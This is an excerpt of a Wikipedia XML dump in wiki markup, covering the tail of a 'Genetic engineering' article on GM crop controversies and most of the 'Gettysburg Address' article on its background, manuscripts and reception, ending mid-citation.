Others oppose genetic engineering on the grounds that genetic modifications might have unforeseen consequences, both in the initially modified organisms and their environments.  For example, certain strains of [[maize]] have been developed that are toxic to plant eating insects (see [[Bt corn]]).  It has been alleged those strains cross-pollinated with other varieties of wild and domestic maize and passed on these genes with a putative impact on Maize biodiversity.&lt;ref&gt;Quist D and Chapela IH {{cite journal|title=Transgenic DNA introgressed into traditional maize landraces in Oaxaca, Mexico|id={{doi|10.1038/35107068}}|journal=Nature|volume=414|pages=541-543|year=2001}}&lt;/ref&gt; Subsequent to the publication of these results, several scientists pointed out that the conclusions were based on experiments with design flaws. It is well known that the results from the [[Polymerase Chain Reaction]] method of analysing DNA can often be confounded by sample contamination and experimental artifacts. Appropriate controls can be included in experiments to eliminate these as a possible explanation of the results - however these controls were not included in the methods used by Quist and Chapela.&lt;ref&gt;{{cite journal|first=Paul|last=Christou|title=No Credible Scientific Evidence is Presented to Support Claims that Transgenic DNA was Introgressed into Traditional Maize Landraces in Oaxaca, Mexico|journal=Transgenic Research|volume=11|issue=1|pages=3-5|year=2002|id={{doi|10.1023/A:1013903300469}}}}&lt;/ref&gt; After this criticism ''Nature'', the scientific journal where this data was originally published &quot;concluded that the evidence available is not sufficient to justify the publication of the original paper&quot;.&lt;ref&gt;{{cite journal|title=Biodiversity (Communications arising): Suspect evidence of transgenic contamination|journal=Nature|year=2002|volume=416|pages=600-601|id={{doi|10.1038/nature738}}|url=http://www.nature.com/nature/journal/v416/n6881/abs/nature738_fs.html}}&lt;/ref&gt;
More recent attempts to replicate the original studies have concluded that genetically modified corn is absent from southern Mexico in 2003 and 2004 
[http://www.technologyreview.com/articles/05/08/ap/ap_081605.asp?trk=top]
Also in dispute is the impact on biodiversity of the introgression of transgenes into wild populations [http://www.pnas.org/cgi/content/extract/102/37/13003]. Unless a transgene offers a massive selective advantage in a wild population, a transgene that enters such a population will be maintained at a low gene frequency.  In such situations it can be argued that such an introgression actually ''increases'' biodiversity rather than lowers it. 

Activists opposed to genetic engineering say that with current recombinant technology there is no way to ensure that [[genetically modified organism]]s will remain under control, and the use of this technology outside secure laboratory environments carries unacceptable risks for the future.

Some fear that certain types of genetically engineered crops will further reduce [[biodiversity]] in the cropland; [[herbicide]]-tolerant crops will for example be treated with the relevant herbicide to the extent that there are no wild [[plant]]s ('weeds') able to survive, and plants toxic to insects will mean [[insect]]-free crops. This could result in declines in other wildlife (e.g. [[bird]]s) which depend on weed [[seed]]s and/or insects for food resources. The recent (2003) farm scale studies in the [[United Kingdom|UK]] found this to be the case with GM [[sugar beet]] and GM [[rapeseed]], but not with GM maize (though in the last instance, the non-GM comparison maize crop had also been treated with environmentally-damaging pesticides subsequently (2004) withdrawn from use in the [[EU]]).

Proponents of current genetic techniques as applied to food plants cite the benefits that the technology can have, for example, in the harsh agricultural conditions of [[Africa]]. They say that with modifications, existing crops would be able to thrive under the relatively hostile conditions providing much needed food to their people.  Proponents also cite [[golden rice]] and golden rice 2, genetically engineered rice varieties (still under development) that contain elevated vitamin A levels.  There is hope that this rice may alleviate vitamin A deficiency that contributes to the death of millions and permanent blindness of 500,000 annually.

Proponents say that genetically-engineered crops are not significantly different from those modified by nature or humans in the past, and are as safe or even safer than such methods. There is gene transfer between unicellular [[eukaryote]]s and [[prokaryote]]s. There have been no known genetic catastrophes as a result of this. They argue that [[animal husbandry]] and [[crop breeding]] are also forms of genetic engineering that use [[artificial selection]] instead of modern genetic modification techniques. It is politics, they argue, not economics or science, that causes their work to be closely investigated, and for different standards to apply to it than those applied to other forms of agricultural technology.

Proponents also note that species or genera barriers have been crossed in nature in the past. An oft-cited example is today's modern red wheat variety, which is the result of two natural crossings made long ago. It is made up of three groups of seven chromosomes. Each of those three groups came from a different wild wheat grass. First, a cross between two of the grasses occurred, creating the [[durum wheat]]s, which were the commercial grains of the first civilizations up through the [[Roman Republic]]. Then a cross occurred between that 14-chromosome durum wheat and another wild grass to create what became modern red wheat at the time of the [[Roman Empire]].

=== Economic and political effects ===	 
* Many opponents of current genetic engineering believe the increasing use of GM in major crops has caused a power shift in agriculture towards Biotechnology companies gaining excessive control over the production chain of crops and food, and over the farmers that use their products, as well.	 
* Many proponents of current genetic engineering techniques believe it will lower pesticide usage and has brought higher yields and profitability to many farmers, including those developing nations. A few GM licenses allow farmers in less economically developed countries to save seeds for next year's planting.	 
* In August 2002, [[Zambia]] cut off the flow of [[Genetically Modified Food]] (mostly [[maize]]) from [[UN]]'s [[World Food Program]]. Although there were claims that this left a famine-stricken population without food aid, the U.N. program succeeded in replacing the rejected grain with other sources, including some foods purchased locally with European cash donations. In rejecting the maize, Zambians cited the &quot;Precautionary Principle&quot; and also the desire to protect future possibilities of grain exports to Europe.
* In December 2005 the Zambian government changed its mind in the face of further famine and allowed the importation of GM maize [http://www.consumerfreedom.com/news_detail.cfm?headline=2936]	 
* In April 2004 [[Hugo Chávez]] announced a total ban on genetically modified seeds in [[Venezuela]].	
* In January 2005, the [[Hungary|Hungarian]] government announced a ban on importing and planting of genetic modified maize seeds, although these were authorised by the EU. [http://www.eu.greenpeace.org/downloads/gmo/PRonHungaryBan.pdf]

== See also ==
* [[List of genetic engineering topics]] 
* [[Biorobotics]]   
* [[Cloning]]   
* [[Gene therapy]]   
* [[Genetically modified food]]   
* [[Genetically modified organism]]   
* [[Genetic engineering in fiction]]  
* [[Germinal choice technology]] 
* [[Human genetic engineering]]   
* [[Human Genome Project]]   
* [[Plant breeding]]
* [[PNA]]   
* [[Protein engineering]]   
* [[Reprogenetics]]   
* [[Substantial equivalence]] 
* [[Stem Cells]]  
* [[Transformation (genetics)|Transformation]]   
* [[Transgenic plant]]

==References==
&lt;references/&gt;

==External links==
{{wiktionary|genetic engineering}}   
*[http://www.gene-watch.org Council for Responsible Genetics] - Council for Responsible Genetics 
*[http://www.royalsoc.ac.uk/gmplants/ Debate on the genetic modification of plants]   
*[http://www.vega.org.uk/series/tnbt/gmfoods/index.php Round table discussion from the Vega Science Trust]   
* [http://www.fao.org/ag/ FAO Agriculture Department] and its [http://www.fao.org/docrep/006/y5160e/y5160e00.HTM SOFA report on Agricultural Biotechnology] addressing the methods used in genetic engineering
*[http://www.greenfacts.org/gmo/index.htm Genetically Engineered Crops] &amp;ndash;  A summary for non-specialists of the above FAO report by [[GreenFacts]].
*[http://biosci.umn.edu/~pregal/ryanpromoter.htm CaMV Promoter is A Recombination Hotspot - No Transgenic Plant Containing CaMV Promoter Should be Released]; also [http://www.biotech-info.net/CMV.pdf] as a [[PDF]]
*[http://www.i-sis.org.uk/list.shtml Open Letter from Scientists to All Governments calling for a moratorium on GE technology] (825 Names)
* [http://www.agbioworld.org/declaration/index.html Petition from Scientists In Support Of Agricultural Biotechnology]. (3400 names)
*[http://www.monbiot.com/archives/2002/05/14/the-fake-persuaders/ The Fake Persuaders] article by [[George Monbiot]], published in ''[[The Guardian]]'', on [[Monsanto]]'s use of [[viral marketing]] and its role in shaping scientific discourse on native maize contamination.

[[Category:Biotechnology]]
[[Category:Ethics]]
[[Category:Genetic engineering]]
[[Category:Molecular genetics]]

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  </page>
  <page>
    <title>Gettysburg Address</title>
    <id>12384</id>
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      <text xml:space="preserve">[[Image:Lincolnatgettysburg.jpg|thumb|250px|The only known photo of [[Abraham Lincoln]] at [[Gettysburg]] (seated, center), taken about noon, just after Lincoln arrived and some three hours before he spoke.  To Lincoln's right is his bodyguard, [[Ward Hill Lamon]]. ([[Media:Lincolnatgettysburgbig.jpg|full view]])]]
The '''Gettysburg  Address''' is the most famous speech of [[President of the United States|U.S. President]] [[Abraham Lincoln]] and one of the most quoted famous speeches in [[history of the United States|United States history]]. It was delivered at the dedication of the [[Gettysburg National Cemetery|Soldiers' National Cemetery]] in [[Gettysburg, Pennsylvania|Gettysburg]], [[Pennsylvania]], on [[November 19]], [[1863]], during the [[American Civil War]], four and a half months after the [[Battle of Gettysburg]].

Lincoln's carefully crafted address, secondary to other presentations that day, has ultimately become regarded as one of the greatest speeches in American history. In fewer than 300 words delivered over two to three minutes, Lincoln invoked the principles of human equality espoused by the [[Declaration of Independence (United States)|Declaration of Independence]] and redefined the Civil War as a struggle not merely for the [[United States|Union]], but as &quot;a new birth of [[freedom]]&quot; that would bring true [[equality]] to all of its [[citizen]]s.

Beginning with the now iconic phrase &quot;four [[20 (number)|score]] and seven years ago,&quot; Lincoln referred to the events of the [[American Revolution]] and described the ceremony at Gettysburg as an opportunity not only  to dedicate the grounds of a cemetery, but also to consecrate the living in the struggle to ensure that &quot;government of the people, by the people, for the people, shall not perish from the earth.&quot; Despite the speech's prominent place in the history and popular culture of the United States, the exact wording of the speech is disputed. The five known manuscripts of the Gettysburg Address differ in a number of details and also differ from contemporary newspaper reprints of the speech.

==Background==
[[Image:Battle of Gettysburg.jpg|250px|thumb|right|[[Union (American Civil War)|Union]] dead at [[Battle of Gettysburg|Gettysburg]], photographed by Timothy O'Sullivan, [[July 5]]&amp;ndash;[[July 6]], [[1863]].]]
[[Image:Gettsyburginvitationpage2.jpg|150px|thumb|right|David Wills's letter inviting [[Abraham Lincoln]] to make a few remarks, noting that [[Edward Everett]] would deliver the oration.]]
The Battle of Gettysburg (July 1-3, 1863) forever changed the little town of Gettysburg.  The battlefield contained the bodies of more than 7000 dead soldiers and several thousand horses of the Union's [[Army of the Potomac]] and the [[Confederate States of America|Confederacy's]] [[Army of Northern Virginia]]. The stench of rotting bodies made many townspeople violently ill in the weeks following the battle, and the burial of the dead in a dignified and orderly manner became a high priority for the few thousand residents of Gettysburg. Under the direction of David Wills, a wealthy 32-year-old attorney, Pennsylvania purchased 17&amp;nbsp;acres (69,000&amp;nbsp;m²) for a [[cemetery]] to honor those lost in the summer's battle.  

Wills originally planned to dedicate this new cemetery on Wednesday, September 23, and invited [[Edward Everett]], who had served as [[United States Secretary of State|Secretary of State]], [[United States Senate|U.S. Senator]], [[United States House of Representatives|U.S. Representative]], [[Governor of Massachusetts]] and president of [[Harvard University]], to be the main speaker. At that time Everett was widely considered to be the nation's greatest orator. In reply Everett told Wills and his organizing committee that he would be unable to prepare an appropriate speech in such a short period of time, and requested that the date be postponed. The committee agreed, and the dedication was postponed until Thursday, November 19.

Almost as an afterthought, Wills and the event committee invited Lincoln to participate in the ceremony.  Wills's letter stated, &quot;It is the desire that, after the Oration, you, as [[Chief executive officer|Chief Executive]] of the nation, formally set apart these grounds to their sacred use by a few appropriate remarks.&quot;{{ref|Wills}} Lincoln's role in the event was secondary, akin to the modern tradition of inviting a noted public figure to do a [[grand opening|ribbon-cutting]] at a grand opening.{{ref_label|Wills|1|a}}

Lincoln arrived by train in Gettysburg on November 18, and spent the night as a guest in Wills's house on the Gettysburg town square, where he put the finishing touches on the speech he had written in Washington.{{ref|showcase.netins.net.266}} Contrary to popular myth, Lincoln neither completed his prepared remarks while on the train nor wrote them on the back of an envelope.{{ref|Johnson}}  On the morning of November 19 at 9:30 a.m., Lincoln joined in a procession with the assembled dignitaries, townspeople, and widows marching out to the grounds to be dedicated astride a chestnut bay horse, between Secretary of State [[William H. Seward]] and [[United States Secretary of the Treasury|Secretary of the Treasury]] [[Salmon P. Chase]].{{ref|showcase.netins.net.267}}{{ref|showcase.netins.net.268}}

Approximately 15,000 to 20,000 people are estimated to have attended the ceremony, including the sitting governors of six of the 24 Union states: [[Andrew Gregg Curtin]] of Pennsylvania, [[Augustus Bradford]] of [[Maryland]], [[Oliver P. Morton]] of [[Indiana]], [[Horatio Seymour]] of [[New York]], [[Joel Parker]] of [[New Jersey]], and [[David Tod]] of [[Ohio]].{{ref|NYT}}  The precise location of the program within the grounds of the cemetery is disputed.{{ref|showcase.netins.net.269}} Reinterment of the bodies buried from field graves into the cemetery, which had begun within months of the battle, was less than half complete on the day of the ceremony.{{ref|www.gettysburg.com.270}}

==Program and Everett's &quot;Gettysburg Oration&quot;==
[[Image:Everett-Edward-LOC.jpg|thumb|left|100px|[[Edward Everett]] delivered a two-hour Oration before Lincoln's few minutes of Dedicatory Remarks.]]
The program organized for that day by Wills and his committee included:
:''Music, by Birgfield's Band''
:''Prayer, by Reverend T.H. Stockton, D.D.''
:''Music, by the Marine Band''
:''Oration, by Hon. Edward Everett''
:''Music, Hymn composed by B.B. French, Esq.''
:''Dedicatory Remarks, by the President of the United States''
:''Dirge, sung by Choir selected for the occasion''
:''Benediction, by Reverend H.L. Baugher, D.D.'' {{ref_label|Wills|1|b}}

What was regarded as the &quot;Gettysburg Address&quot; that day was not the short speech delivered by President Lincoln, but rather Everett's two-hour oration.  Everett's now-seldom-read 13,609-word speech began:
:''Standing beneath this serene sky, overlooking these broad fields now reposing from the labors of the waning year, the mighty Alleghenies dimly towering before us, the graves of our brethren beneath our feet, it is with hesitation that I raise my poor voice to break the eloquent silence of God and Nature. But the duty to which you have called me must be performed; &amp;mdash; grant me, I pray you, your indulgence and your sympathy.''{{ref|douglassarchives.org.271}}

{{wikisourcepar|Gettysburg Oration}}

And ended two hours later with:
:''But they, I am sure, will join us in saying, as we bid farewell to the dust of these martyr-heroes, that wheresoever throughout the civilized world the accounts of this great warfare are read, and down to the latest period of recorded time, in the glorious annals of our common country, there will be no brighter page than that which relates the Battles of Gettysburg.''{{ref|douglassarchives.org.271}}

==Lincoln's Gettysburg Address==
Not long after those well-received remarks, Lincoln spoke in his high-pitched [[Southern American English|Kentucky accent]] for two or three minutes. Lincoln's &quot;few appropriate remarks&quot; summarized the war in ten sentences and 272 words, rededicating the nation to the war effort and to the ideal that no soldier at Gettysburg had died in vain.  

Despite the historical significance of Lincoln's speech, modern scholars disagree as to its exact wording, and contemporary transcriptions published in newspaper accounts of the event and even handwritten copies by Lincoln himself differ in their wording, punctuation, and structure.  Of these versions the Bliss version has become the standard text. It is the only version to which Lincoln affixed his signature, and the last he is known to have written:
:''Four score and seven years ago our fathers brought forth on this continent, a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.''

:''Now we are engaged in a great civil war, testing whether that nation, or any nation so conceived and so dedicated, can long endure. We are met on a great battle field of that war.  We have come to dedicate a portion of that field, as a final resting place for those who here gave their lives &lt;!--&quot;That that nation&quot; is the historically correct version. Please do not modify it. Thank you!--&gt; that that nation might live. It is altogether fitting and proper that we should do this.''&lt;br&gt;

:''But, in a larger sense, we can not dedicate&amp;mdash;we can not consecrate&amp;mdash;we can not hallow&amp;mdash;this ground. The brave men, living and dead, who struggled here, have consecrated it, far above our poor power to add or detract. The world will little note, nor long remember what we say here, but it can never forget what they did here.  It is for us the living, rather, to be dedicated here to the unfinished work which they who fought here have thus far so nobly advanced. It is rather for us to be here dedicated to the great task remaining before us &amp;mdash; that from these honored dead we take increased devotion to that cause for which they gave the last full measure of devotion &amp;mdash; that we here highly resolve that these dead shall not have died in vain &amp;mdash; that this nation, under God, shall have a new birth of freedom &amp;mdash; and that government of the people, by the people, for the people, shall not perish from the earth. ''&lt;/blockquote&gt;

==The five manuscripts==
[[Image:Gbaddressclip.jpg|right|thumb|300px|Selection from the &quot;Nicolay Copy&quot; of the Gettysburg Address in [[Abraham Lincoln|Lincoln's]] handwriting.]]

The five known manuscript copies of the Gettysburg Address are each named for the associated person who received it from Lincoln.  Lincoln gave a copy to each of his private secretaries, [[John Nicolay]] and [[John Hay]]. Both of these drafts were written around the time of his [[November 19]] address, while the other three copies of the address, the Everett, Bancroft, and Bliss copies, were written by Lincoln for charitable purposes well after [[November 19]]. In part because Lincoln provided a title and signed and dated the Bliss Copy, it has been used as the source for most facsimile reproductions of Lincoln's Gettysburg Address.

The two earliest drafts of the Address are associated with some confusion and controversy regarding their existence and provenance.  Nicolay and Hay were appointed custodians of Lincoln's papers by Lincoln's son [[Robert Todd Lincoln]] in 1874.{{ref_label|Johnson|3|a}} After appearing in [[facsimile]] in an article written by John Nicolay in 1894, the Nicolay copy was presumably among the papers passed to Hay by Nicolay's daughter Helen upon Nicolay's death in 1901. Robert Lincoln began a search for the original copy in 1908, which spurred Helen to spend several years unsuccessfully searching for Nicolay's copy. In a letter to Lincoln, Helen Nicolay stated, &quot;Mr. Hay told me shortly after the transfer was made that your father gave my father the original ms. of the Gettysburg Address.&quot;{{ref_label|Johnson|3|b}}  Lincoln's search resulted in the discovery of a handwritten copy of the Gettysburg Address among the bound papers of John Hay&amp;mdash;a copy now known as the &quot;Hay Draft&quot;, which differed from the version published by John Nicolay in 1894 in the paper used, number of words per line, number of lines, and editorial revisions in Lincoln's hand.{{ref_label|Johnson|3|c}}  It was not until eight years later in March 1916 that the manuscript known as the &quot;Nicolay Copy&quot;, consistent with both the recollections of Helen Nicolay and the article written by her father, was reported to be in the possession of Alice Hay Wadsworth, John Hay's granddaughter. (op.cit.)

===Nicolay Copy===
The Nicolay Copy{{ref|LOC}} is often called the &quot;first draft&quot; because it is believed to be the earliest copy that exists. Scholars disagree over whether the Nicolay copy was actually the reading copy Lincoln held at Gettysburg on [[November 19]]. In an 1894 article that included a facsimile of this copy, Nicolay, who had become the custodian of Lincoln's papers, wrote that Lincoln had brought to Gettysburg the first part of the speech written in ink on [[The White House|Executive Mansion]] stationery, and that he had written the second page in pencil on lined paper before the dedication on [[November 19]].{{ref|Nicolay}} Matching folds are still evident on the two pages, suggesting it could be the copy that eyewitnesses say Lincoln took from his coat pocket and read at the ceremony. Others believe that the delivery text has been lost, because some of the words and phrases of the Nicolay copy do not match contemporary transcriptions of Lincoln's original speech. The words &quot;under God&quot;, for example, are missing from the phrase &quot;that this nation (under God) shall have a new birth of freedom&amp;hellip;&quot;  In order for the Nicolay draft to have been the reading copy, either the contemporary transcriptions were inaccurate, or Lincoln uncharacteristically would have had to depart from his written text in several instances.  This copy of the Gettysburg Address apparently remained in John Nicolay's possession until his death in 1901, when it passed to his friend and colleague John Hay, and after years of being lost to the public, it was reported found in March 1916.  The Nicolay copy is on permanent display as part of the American Treasures exhibition of the Library of Congress in Washington, D.C.{{ref|americantreasures}}

===Hay Copy===
[[Image:Gettysburg.haydraft.jpg|300px|right|thumb|The Hay Copy, with [[Abraham Lincoln|Lincoln's]] handwritten corrections.]]
With its existence first announced to the public in 1906, the Hay Copy{{ref|LOC3}} was described by historian [[Garry Wills]] as &quot;the most inexplicable of the five copies Lincoln made.&quot; With numerous omissions and inserts, this copy strongly suggests a text that was copied hastily, especially when one examines the fact that many of these omissions were critical to the basic meaning of the sentence, not simply words that would be added by Lincoln to strengthen or clarify their meaning. This copy, which is sometimes referred to as the &quot;second draft,&quot; was made either on the morning of its delivery, or shortly after Lincoln's return to Washington. Those that believe that it was completed on the morning of his address point to the fact that it contains certain phrases that are not in the first draft but are in the reports of the address as delivered and in subsequent copies made by Lincoln. It is probable, they conclude, that as stated in the explanatory note accompanying the original copies of the first and second drafts in the [[Library of Congress]], that it was this second draft which Lincoln held in his hand when he delivered the address.{{ref|GNMP}} Lincoln eventually gave this copy to his other personal secretary, John Hay, whose descendants donated both it and the Nicolay copy to the Library of Congress in 1916.

===Everett Copy===
The Everett Copy,{{ref|VG}} also known as the &quot;Everett-Keyes&quot; copy, was sent by President Lincoln to Edward Everett in early 1864, at Everett's request.  Everett was collecting the speeches given at the Gettysburg dedication into one bound volume to sell for the benefit of stricken soldiers at New York's [[United States Sanitary Commission|Sanitary Commission Fair]]. The draft Lincoln sent became the third autograph copy, and is now in the possession of the Illinois State Historical Library in [[Springfield, Illinois]], where it is currently on display in the Treasures Gallery of the [[Abraham Lincoln Presidential Library and Museum]].

===Bancroft Copy===
The Bancroft Copy of the Gettysburg Address was written out by President Lincoln in April 1864 at the request of [[George Bancroft]], the most famous historian of his day.{{ref|Cornell}} Bancroft planned to include this copy in ''Autograph Leaves of Our Country's Authors'', which he planned to sell at a Soldiers' and Sailors' Sanitary Fair in [[Baltimore]]. As this fourth copy was written on both sides of the paper, it proved unusable for this purpose, and Bancroft was allowed to keep it. This manuscript is the only one accompanied by a letter from Lincoln transmitting the manuscript and by the original envelope addressed and franked (i.e., signed for free postage) by Lincoln. This copy remained in the Bancroft family for many years until it was donated to the Carl A. Kroch Library at [[Cornell University]].{{ref_label|GNMP|16|a}}  It is the only one of the five copies to be privately owned.{{ref|www.cornellsun.com.273}}

===Bliss Copy===
Discovering that his fourth written copy intended for George Bancroft's &quot;Autograph Leaves&quot; could not be used, Lincoln wrote a fifth draft, which was accepted for the purpose requested. The Bliss Copy,{{ref|IHPA}} once owned by the family of Colonel [[Alexander Bliss]], Bancroft's stepson and publisher of &quot;Autograph Leaves&quot;, is the only draft to which Lincoln affixed his signature. All the probabilities are that it was the last copy written by Lincoln, and because of the apparent care in its preparation, and in part because Lincoln provided a title and signed and dated this copy, it has become the standard version of the address. The Bliss Copy has been the source for most facsimile reproductions of Lincoln's Gettysburg Address.  This draft now hangs in the [[Lincoln Room]] of the [[White House]], a gift of [[Oscar B. Cintas]], former [[Cuba]]n Ambassador to the United States.{{ref_label|GNMP|16|b}} Cintas, a wealthy collector of art and manuscripts, purchased the Bliss copy at a public auction in 1949 for $54,000, the highest price ever paid for a document at public auction.{{ref|cintas}}

Garry Wills, who won the 1993 [[Pulitzer Prize for General Non-Fiction]] for ''Lincoln at Gettysburg: The Words that Remade America'', concluded the Bliss Copy &quot;is stylistically preferable to others in one significant way: Lincoln removed 'here' from 'that cause for which they (here) gave&amp;hellip;' The seventh 'here' is in all other versions of the speech.&quot; Wills noted the fact that Lincoln &quot;was still making such improvements suggests that he was more concerned with a perfected text than with an 'original' one (however that is understood).&quot;

{{wikisource}}

==Contemporary sources and reaction==
[[Image:Gettys.nyt.jpg|right|250px|thumb|The ''[[New York Times]]'' article from [[November 20]], [[1863]], indicates Lincoln's speech was interrupted five times by applause and was followed by &quot;long continued applause.&quot;]]  Another contemporary source of the text is the [[Associated Press]] [[wire service]] broadcast, transcribed from the [[shorthand]] notes taken by reporter Joseph L. Gilbert.  It also differs from the drafted text in a number of minor ways.{{ref|www.bartleby.com.274}}{{ref|www.ap.org.275}}

Eyewitness reports vary as to their view of Lincoln's performance.  In [[1931]], the printed recollections of 87-year-old Mrs. Sarah A. Cooke Myers, who at the age of 19 was present, suggest a dignified silence followed Lincoln's speech: &quot;I was close to the President and heard all of the Address, but it seemed short. Then there was an impressive silence like our Menallen [[Quaker|Friends Meeting]]. There was no applause when he stopped speaking.&quot;{{ref|showcase.netins.net.276}} According to historian [[Shelby Foote]], after Lincoln's presentation, the applause was delayed, scattered, and &quot;barely polite&quot;.{{ref|Foote}}  In contrast, [[List of Governors of Pennsylvania|Pennsylvania Governor]] Curtin maintained, &quot;He pronounced that speech in a voice that all the multitude heard. The crowd was hushed into silence because the President stood before them...It was so Impressive! It was the common remark of everybody. Such a speech, as they said it was!&quot;{{ref|showcase.netins.net.277}}

In a letter to Lincoln written the following day, Everett praised the President for his eloquent and concise speech, saying, &quot;I should be glad if I could flatter myself that I came as near to the central idea of the occasion, in two hours, as you did in two minutes.&quot; Lincoln was glad to know the speech was not a &quot;total failure&quot;.

Other public reaction to the speech was divided along partisan lines.  The next day the ''Chicago Times'' observed, &quot;The cheek of every American must tingle with shame as he reads the silly, flat and dishwatery utterances of the man who has to be pointed out to intelligent foreigners as the President of the United States.&quot;  In contrast, the ''[[New York Times]]'' was complimentary.  A [[Massachusetts]] paper printed the entire speech, commenting that it was &quot;deep in feeling, compact in thought and expression, and tasteful and elegant in every word and comma.&quot; 

Lincoln himself, over time, revised his opinion of &quot;my little speech&quot;.

==Themes and textual analysis==
Lincoln used the word &quot;nation&quot; five times, but never the word &quot;union,&quot; which might refer only to the North&amp;mdash;furthermore, restoring the ''nation'', not a union of sovereign states, was paramount.  Lincoln's text referred to the year [[1776]] and the [[American Revolutionary War]], and included the famous words of the [[United States Declaration of Independence|Declaration of Independence]], that &quot;[[all men are created equal]]&quot;.

Lincoln did not allude to the [[1789]] [[United States Constitution|Constitution]], which implicitly recognized [[slavery]] in the &quot;[[three-fifths compromise]],&quot; and he avoided using the word &quot;[[slavery]]&quot;.  He also made no mention of the contentious [[antebellum]] political issues of [[Nullification Crisis|nullification]] or [[state's rights]].

In ''Lincoln at Gettysburg: The Words that Remade America'', Garry Wills suggests the Address was influenced by the American [[Greek Revival]] and the classical funereal oratory of [[History of Athens#Classical Athens|Athens]], as well as the [[Transcendentalism]] of [[Unitarian]] minister and [[abolitionist]] [[Theodore Parker]] (the source of the phrase &quot;of all the people, by all the people, for all the people&quot;) and the constitutional arguments of [[Daniel Webster]].{{ref|Vosmeier}}

Author and Civil War scholar [[James McPherson]]'s review of Wills' book addresses the parallels to [[Pericles]]' funeral oration during the [[Peloponnesian War]] as described by [[Thucydides]], and enumerates several striking comparisons with Lincoln's speech.{{ref|McPherson}} Pericles' speech, like Lincoln's, begins with an acknowledgment of revered predecessors: &quot;I shall begin with our ancestors: it is both just and proper that they should have the honour of the first mention on an occasion like the present&quot;; then praises the uniqueness of the State's commitment to [[democracy]]: &quot;If we look to the laws, they afford equal justice to all in their private differences&quot;; honors the sacrifice of the slain, &quot;Thus choosing to die resisting, rather than to live submitting, they fled only from dishonour, but met danger face to face&quot;; and exhorts the living to continue the struggle:  &quot;You, their survivors, must determine to have as unfaltering a resolution in the field, though you may pray that it may have a happier issue.&quot;{{ref|www.constitution.org.278}}{{ref|www.nybooks.com.279}}

[[Craig R. Smith]], in &quot;Criticism of Political Rhetoric and Disciplinary Integrity&quot;, also suggested the influence of Webster's famous speeches on the view of government expressed by Lincoln in the Gettysburg Address, specifically, Webster's &quot;Second Reply to Hayne&quot;, in which he states, &quot;This government, Sir, is the independent offspring of the popular will. It is not the creature of State legislatures; nay, more, if the whole truth must be told, the people brought it into existence, established it, and have hitherto supported it, for the very purpose, amongst others, of imposing certain salutary restraints on State sovereignties.&quot;{{ref|www.acjournal.org.280}}{{ref|www.dartmouth.edu.281}}

Some have noted Lincoln's usage of the imagery of birth, life, and death in reference to a nation &quot;brought forth,&quot; &quot;conceived,&quot; and that shall not &quot;perish.&quot;  Others, including author [[Allen C. Guelzo]], suggested that Lincoln's formulation &quot;four score and seven&quot; was an allusion to the [[King James Version of the Bible]]'s [http://www.biblegateway.com/passage/?search=Psalm%2090;&amp;version=9; Psalm 90], in which man's lifespan is given as &quot;threescore and ten.&quot;{{ref|refbot.282}}{{ref|Guelzo}}

Writer [[H. L. Mencken]] criticized what he believed to be Lincoln's central argument, that Union soldiers at Gettysburg &quot;sacrificed their lives to the cause of self-determination.&quot;  Mencken contended, &quot;It is difficult to imagine anything more untrue. The Union soldiers in the battle actually fought against self-determination; it was the Confederates who fought for the right of their people to govern themselves.&quot;{{ref|www.lewrockwell.com.284}}

== Myths and trivia ==
In an oft-repeated legend, after completing the speech, Lincoln turned to his bodyguard [[Ward Hill Lamon]] and remarked that his speech, like a bad plow, &quot;won't scour.&quot; According to Garry Wills, this statement has no basis in fact and largely originates from the unreliable recollections of Lamon.{{ref_label|Wills|1|c}} In Wills' view, &quot;(Lincoln) had done what he wanted to do (at Gettysburg).&quot;

Another persistent myth is that Lincoln composed the speech while riding on the train from Washington to Gettysburg and wrote it on the back of an envelope, a story at odds with the existence of several early drafts and the reports of Lincoln's final editing while a guest of David Wills in Gettysburg.{{ref|www.thelincolnmuseum.org.285}}

In addition, it is a myth that the assembled at Gettysburg expected Lincoln to speak much longer than he did.  Everyone there knew (or should have known) that the President's role was minor.  The only known photograph of Lincoln at Gettysburg, taken by photographer [[David Bachrach]]{{ref|Bachrach}} was identified in the [[Mathew Brady]] collection of photographic plates in the [[National Archives and Records Administration]] in [[1952]].  While Lincoln's speech was short and may have precluded multiple pictures of him while speaking, he and the other dignitaries sat for hours during the rest of the program.

The copies of the Address within the Library of Congress are encased in specially-designed, temperature-controlled, sealed containers with [[argon]] gas in order to protect the documents from oxidation and continued degeneration.{{ref|preservation}}

==In popular culture==
The importance of the Gettysburg Address in the history of the United States is underscored by its enduring presence in American culture.  In addition to its prominent place carved into a stone [[cella]] on the south wall of the [[Lincoln Memorial]] in [[Washington, D.C.]], the Gettysburg Address is frequently referred to in works of popular culture, with the implicit expectation that contemporary audiences will be familiar with Lincoln's words. [[Image:Lincoln-side.jpg|thumbnail|250px|right|A side view of the sculpture inside the [[Lincoln Memorial]]; in the enlarged view, the words of the Gettysburg Address can be seen carved into the south wall in the background.]]

Some examples include Meredith Willson's [[1957]] [[musical theater|musical]], ''[[The Music Man]]'', in which the Mayor of River City consistently begins speaking with the words &quot;Four score . . .&quot; until his actual speech is handed to him.  In the [[1967]] musical ''[[Hair (musical)|Hair]]'', a song called &quot;Abie Baby/Fourscore&quot; refers to Lincoln's [[assassination]], and contains portions of the Gettysburg Address delivered in an ironic manner.  In the [[1989]] movie ''[[Bill and Ted's Excellent Adventure]]'', Abraham Lincoln is snatched from the past by the [[time-travel]]ing title characters, and addresses the students of San Dimas High School with the words, &quot;four score and seven minutes ago.&quot;  In the [[1999]] movie ''[[Dick (movie)|Dick]]'', the characters Betsy and Arlene say &quot;four score and seven years ago our forefather did something I don't know&amp;hellip;&quot; an example of how Lincoln's actual words, &quot;our fathers,&quot; are frequently misquoted.

In another case, [[Martin Luther King, Jr.]], began his &quot;[[I Have a Dream]]&quot; speech, itself one of the most-recognized speeches in American history, with a reference to Lincoln and an allusion to Lincoln's words:  &quot;Five score years ago, a great American, in whose symbolic shadow we stand today, signed the Emancipation Proclamation.&quot;

==Notes==
&lt;div style=&quot;font-size: 85%&quot;&gt;
# {{note|Wills}} pp. 24-5, {{note_label|Wills|1|a}} p. 35, {{note_label|Wills|2|b}} pp. 34-5, {{note_label|Wills|3|c}} p. 36, {{cite book
 | authorlink = Garry Wills
 | last = Wills
 | first = Garry
 | title = Lincoln at Gettysburg: The Words That Remade America
 | location = New York
 | publisher = Simon &amp; Schuster
 | date = 1992
 | id = ISBN 0-671-76956-1
 }}
# {{note|showcase.netins.net.266}} {{cite web
